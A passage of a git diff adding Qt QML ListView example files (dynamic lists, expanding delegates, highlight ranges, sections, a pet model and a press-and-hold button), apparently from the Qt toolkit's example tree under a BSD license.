+// This example shows how items can be dynamically added to and removed from
+// a ListModel, and how these list modifications can be animated.
+
+Rectangle {
+ id: container
+ width: 500; height: 400
+ color: "#343434"
+
+ // The model:
+ ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"; cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Banana"; cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+ ListElement {
+ name: "Cumquat"; cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Durian"; cost: 9.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Smelly" }
+ ]
+ }
+ }
+
+ // The delegate for each fruit in the model:
+ Component {
+ id: listDelegate
+
+ Item {
+ id: delegateItem
+ width: listView.width; height: 55
+ clip: true
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ spacing: 10
+
+ Column {
+ Image {
+ source: "content/pics/arrow-up.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index-1, 1) }
+ }
+ Image { source: "content/pics/arrow-down.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index+1, 1) }
+ }
+ }
+
+ Column {
+ anchors.verticalCenter: parent.verticalCenter
+
+ Text {
+ text: name
+ font.pixelSize: 15
+ color: "white"
+ }
+ Row {
+ spacing: 5
+ Repeater {
+ model: attributes
+ Text { text: description; color: "White" }
+ }
+ }
+ }
+ }
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.right: parent.right
+ spacing: 10
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/plus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", cost + 0.25)
+ }
+
+ Text {
+ id: costText
+ anchors.verticalCenter: parent.verticalCenter
+ text: '$' + Number(cost).toFixed(2)
+ font.pixelSize: 15
+ color: "white"
+ font.bold: true
+ }
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/minus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", Math.max(0,cost-0.25))
+ }
+
+ Image {
+ source: "content/pics/list-delete.png"
+ MouseArea { anchors.fill:parent; onClicked: fruitModel.remove(index) }
+ }
+ }
+
+ // Animate adding and removing of items:
+
+ ListView.onAdd: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "height"; value: 0 }
+ NumberAnimation { target: delegateItem; property: "height"; to: 55; duration: 250; easing.type: Easing.InOutQuad }
+ }
+
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: delegateItem; property: "height"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+
+ // Make sure delayRemove is set back to false so that the item can be destroyed
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: false }
+ }
+ }
+ }
+
+ // The view:
+ ListView {
+ id: listView
+ anchors.fill: parent; anchors.margins: 20
+ model: fruitModel
+ delegate: listDelegate
+ }
+
+ Row {
+ anchors { left: parent.left; bottom: parent.bottom; margins: 20 }
+ spacing: 10
+
+ TextButton {
+ text: "Add an item"
+ onClicked: {
+ fruitModel.append({
+ "name": "Pizza Margarita",
+ "cost": 5.95,
+ "attributes": [{"description": "Cheese"}, {"description": "Tomato"}]
+ })
+ }
+ }
+
+ TextButton {
+ text: "Remove all items"
+ onClicked: fruitModel.clear()
+ }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/expandingdelegates.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/expandingdelegates.qml
new file mode 100644
index 00000000..152086cb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/expandingdelegates.qml
@@ -0,0 +1,202 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+// This example illustrates expanding a list item to show a more detailed view.
+
+Rectangle {
+ id: page
+ width: 400; height: 240
+ color: "black"
+
+ // Delegate for the recipes. This delegate has two modes:
+ // 1. List mode (default), which just shows the picture and title of the recipe.
+ // 2. Details mode, which also shows the ingredients and method.
+ Component {
+ id: recipeDelegate
+
+ Item {
+ id: recipe
+
+ // Create a property to contain the visibility of the details.
+ // We can bind multiple element's opacity to this one property,
+ // rather than having a "PropertyChanges" line for each element we
+ // want to fade.
+ property real detailsOpacity : 0
+
+ width: listView.width
+ height: 70
+
+ // A simple rounded rectangle for the background
+ Rectangle {
+ id: background
+ x: 2; y: 2; width: parent.width - x*2; height: parent.height - y*2
+ color: "ivory"
+ border.color: "orange"
+ radius: 5
+ }
+
+ // This mouse region covers the entire delegate.
+ // When clicked it changes mode to 'Details'. If we are already
+ // in Details mode, then no change will happen.
+ MouseArea {
+ anchors.fill: parent
+ onClicked: recipe.state = 'Details';
+ }
+
+ // Lay out the page: picture, title and ingredients at the top, and method at the
+ // bottom. Note that elements that should not be visible in the list
+ // mode have their opacity set to recipe.detailsOpacity.
+ Row {
+ id: topLayout
+ x: 10; y: 10; height: recipeImage.height; width: parent.width
+ spacing: 10
+
+ Image {
+ id: recipeImage
+ width: 50; height: 50
+ source: picture
+ }
+
+ Column {
+ width: background.width - recipeImage.width - 20; height: recipeImage.height
+ spacing: 5
+
+ Text {
+ text: title
+ font.bold: true; font.pointSize: 16
+ }
+
+ Text {
+ text: "Ingredients"
+ font.pointSize: 12; font.bold: true
+ opacity: recipe.detailsOpacity
+ }
+
+ Text {
+ text: ingredients
+ wrapMode: Text.WordWrap
+ width: parent.width
+ opacity: recipe.detailsOpacity
+ }
+ }
+ }
+
+ Item {
+ id: details
+ x: 10; width: parent.width - 20
+ anchors { top: topLayout.bottom; topMargin: 10; bottom: parent.bottom; bottomMargin: 10 }
+ opacity: recipe.detailsOpacity
+
+ Text {
+ id: methodTitle
+ anchors.top: parent.top
+ text: "Method"
+ font.pointSize: 12; font.bold: true
+ }
+
+ Flickable {
+ id: flick
+ width: parent.width
+ anchors { top: methodTitle.bottom; bottom: parent.bottom }
+ contentHeight: methodText.height
+ clip: true
+
+ Text { id: methodText; text: method; wrapMode: Text.WordWrap; width: details.width }
+ }
+
+ Image {
+ anchors { right: flick.right; top: flick.top }
+ source: "content/pics/moreUp.png"
+ opacity: flick.atYBeginning ? 0 : 1
+ }
+
+ Image {
+ anchors { right: flick.right; bottom: flick.bottom }
+ source: "content/pics/moreDown.png"
+ opacity: flick.atYEnd ? 0 : 1
+ }
+ }
+
+ // A button to close the detailed view, i.e. set the state back to default ('').
+ TextButton {
+ y: 10
+ anchors { right: background.right; rightMargin: 10 }
+ opacity: recipe.detailsOpacity
+ text: "Close"
+
+ onClicked: recipe.state = '';
+ }
+
+ states: State {
+ name: "Details"
+
+ PropertyChanges { target: background; color: "white" }
+ PropertyChanges { target: recipeImage; width: 130; height: 130 } // Make picture bigger
+ PropertyChanges { target: recipe; detailsOpacity: 1; x: 0 } // Make details visible
+ PropertyChanges { target: recipe; height: listView.height } // Fill the entire list area with the detailed view
+
+ // Move the list so that this item is at the top.
+ PropertyChanges { target: recipe.ListView.view; explicit: true; contentY: recipe.y }
+
+ // Disallow flicking while we're in detailed view
+ PropertyChanges { target: recipe.ListView.view; interactive: false }
+ }
+
+ transitions: Transition {
+ // Make the state changes smooth
+ ParallelAnimation {
+ ColorAnimation { property: "color"; duration: 500 }
+ NumberAnimation { duration: 300; properties: "detailsOpacity,x,contentY,height,width" }
+ }
+ }
+ }
+ }
+
+ // The actual list
+ ListView {
+ id: listView
+ anchors.fill: parent
+ model: RecipesModel {}
+ delegate: recipeDelegate
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlight.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlight.qml
new file mode 100644
index 00000000..ebce5e34
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlight.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how to create your own highlight delegate for a ListView
+// that uses a SpringAnimation to provide custom movement when the
+// highlight bar is moved between items.
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ width: 200; height: 300
+
+ // Define a delegate component. A component will be
+ // instantiated for each visible item in the list.
+ Component {
+ id: petDelegate
+ Item {
+ id: wrapper
+ width: 200; height: 55
+ Column {
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ // indent the item if it is the current item
+ states: State {
+ name: "Current"
+ when: wrapper.ListView.isCurrentItem
+ PropertyChanges { target: wrapper; x: 20 }
+ }
+ transitions: Transition {
+ NumberAnimation { properties: "x"; duration: 200 }
+ }
+ }
+ }
+
+ // Define a highlight with customised movement between items.
+ Component {
+ id: highlightBar
+ Rectangle {
+ width: 200; height: 50
+ color: "#FFFF88"
+ y: listView.currentItem.y;
+ Behavior on y { SpringAnimation { spring: 2; damping: 0.1 } }
+ }
+ }
+
+ ListView {
+ id: listView
+ width: 200; height: parent.height
+
+ model: PetsModel {}
+ delegate: petDelegate
+ focus: true
+
+ // Set the highlight delegate. Note we must also set highlightFollowsCurrentItem
+ // to false so the highlight delegate can control how the highlight is moved.
+ highlight: highlightBar
+ highlightFollowsCurrentItem: false
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlightranges.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlightranges.qml
new file mode 100644
index 00000000..eda6056b
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/highlightranges.qml
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: root
+ property int current: 0
+ width: 600; height: 300
+
+ // This example shows the same model in three different ListView items,
+ // with different highlight ranges. The highlight ranges are set by the
+ // preferredHighlightBegin and preferredHighlightEnd properties in ListView.
+ //
+ // The first ListView does not set a highlight range, so its currentItem
+ // can move freely within the visible area. If it moves outside the
+ // visible area, the view is automatically scrolled to keep the current
+ // item visible.
+ //
+ // The second ListView sets a highlight range which attempts to keep the
+ // current item within the the bounds of the range. However,
+ // items will not scroll beyond the beginning or end of the view,
+ // forcing the highlight to move outside the range at the ends.
+ //
+ // The third ListView sets the highlightRangeMode to StrictlyEnforceRange
+ // and sets a range smaller than the height of an item. This
+ // forces the current item to change when the view is flicked,
+ // since the highlight is unable to move.
+ //
+ // All ListViews bind their currentIndex to the root.current property.
+ // The first ListView sets root.current whenever its currentIndex changes
+ // due to keyboard interaction.
+ // Flicking the third ListView with the mouse also changes root.current.
+
+ ListView {
+ id: list1
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "lightsteelblue" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ focus: true
+ }
+
+ ListView {
+ id: list2
+ x: list1.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ preferredHighlightBegin: 80; preferredHighlightEnd: 220
+ highlightRangeMode: ListView.ApplyRange
+ }
+
+ ListView {
+ id: list3
+ x: list1.width + list2.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ preferredHighlightBegin: 125; preferredHighlightEnd: 125
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+ // The delegate for each list
+ Component {
+ id: petDelegate
+ Column {
+ width: 200
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/sections.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/sections.qml
new file mode 100644
index 00000000..4589bef8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/sections.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how a ListView can be separated into sections using
+// the ListView.section attached property.
+
+import QtQuick 1.0
+
+//! [0]
+Rectangle {
+ id: container
+ width: 200
+ height: 250
+
+ ListModel {
+ id: animalsModel
+ ListElement { name: "Parrot"; size: "Small" }
+ ListElement { name: "Guinea pig"; size: "Small" }
+ ListElement { name: "Dog"; size: "Medium" }
+ ListElement { name: "Cat"; size: "Medium" }
+ ListElement { name: "Elephant"; size: "Large" }
+ }
+
+ // The delegate for each section header
+ Component {
+ id: sectionHeading
+ Rectangle {
+ width: container.width
+ height: childrenRect.height
+ color: "lightsteelblue"
+
+ Text {
+ text: section
+ font.bold: true
+ }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: animalsModel
+ delegate: Text { text: name }
+
+ section.property: "size"
+ section.criteria: ViewSection.FullString
+ section.delegate: sectionHeading
+ }
+}
+//! [0]
+
diff --git a/examples/declarative/modelviews/listview/listview.pro b/examples/declarative/modelviews/listview/listview.pro
new file mode 100644
index 00000000..877eb7cd
--- /dev/null
+++ b/examples/declarative/modelviews/listview/listview.pro
@@ -0,0 +1,8 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ dynamiclist \
+ expandingdelegates \
+ highlight \
+ highlightranges \
+ sections
diff --git a/examples/declarative/modelviews/listview/sections/main.cpp b/examples/declarative/modelviews/listview/sections/main.cpp
new file mode 100644
index 00000000..8bb1edf1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockPortrait);
+ viewer.setMainQmlFile(QLatin1String("qml/sections/sections.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/PetsModel.qml b/examples/declarative/modelviews/listview/sections/qml/sections/content/PetsModel.qml
new file mode 100644
index 00000000..76ddccbb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/PetsModel.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Polly"
+ type: "Parrot"
+ age: 12
+ size: "Small"
+ }
+ ListElement {
+ name: "Penny"
+ type: "Turtle"
+ age: 4
+ size: "Small"
+ }
+ ListElement {
+ name: "Warren"
+ type: "Rabbit"
+ age: 2
+ size: "Small"
+ }
+ ListElement {
+ name: "Spot"
+ type: "Dog"
+ age: 9
+ size: "Medium"
+ }
+ ListElement {
+ name: "Schrödinger"
+ type: "Cat"
+ age: 2
+ size: "Medium"
+ }
+ ListElement {
+ name: "Joey"
+ type: "Kangaroo"
+ age: 1
+ size: "Medium"
+ }
+ ListElement {
+ name: "Kimba"
+ type: "Bunny"
+ age: 65
+ size: "Large"
+ }
+ ListElement {
+ name: "Rover"
+ type: "Dog"
+ age: 5
+ size: "Large"
+ }
+ ListElement {
+ name: "Tiny"
+ type: "Elephant"
+ age: 15
+ size: "Large"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/PressAndHoldButton.qml b/examples/declarative/modelviews/listview/sections/qml/sections/content/PressAndHoldButton.qml
new file mode 100644
index 00000000..f160a1de
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/PressAndHoldButton.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: container
+
+ property int repeatDelay: 300
+ property int repeatDuration: 75
+ property bool pressed: false
+
+ signal clicked
+
+ scale: pressed ? 0.9 : 1
+
+ function release() {
+ autoRepeatClicks.stop()
+ container.pressed = false
+ }
+
+ SequentialAnimation on pressed {
+ id: autoRepeatClicks
+ running: false
+
+ PropertyAction { target: container; property: "pressed"; value: true }
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDelay }
+
+ SequentialAnimation {
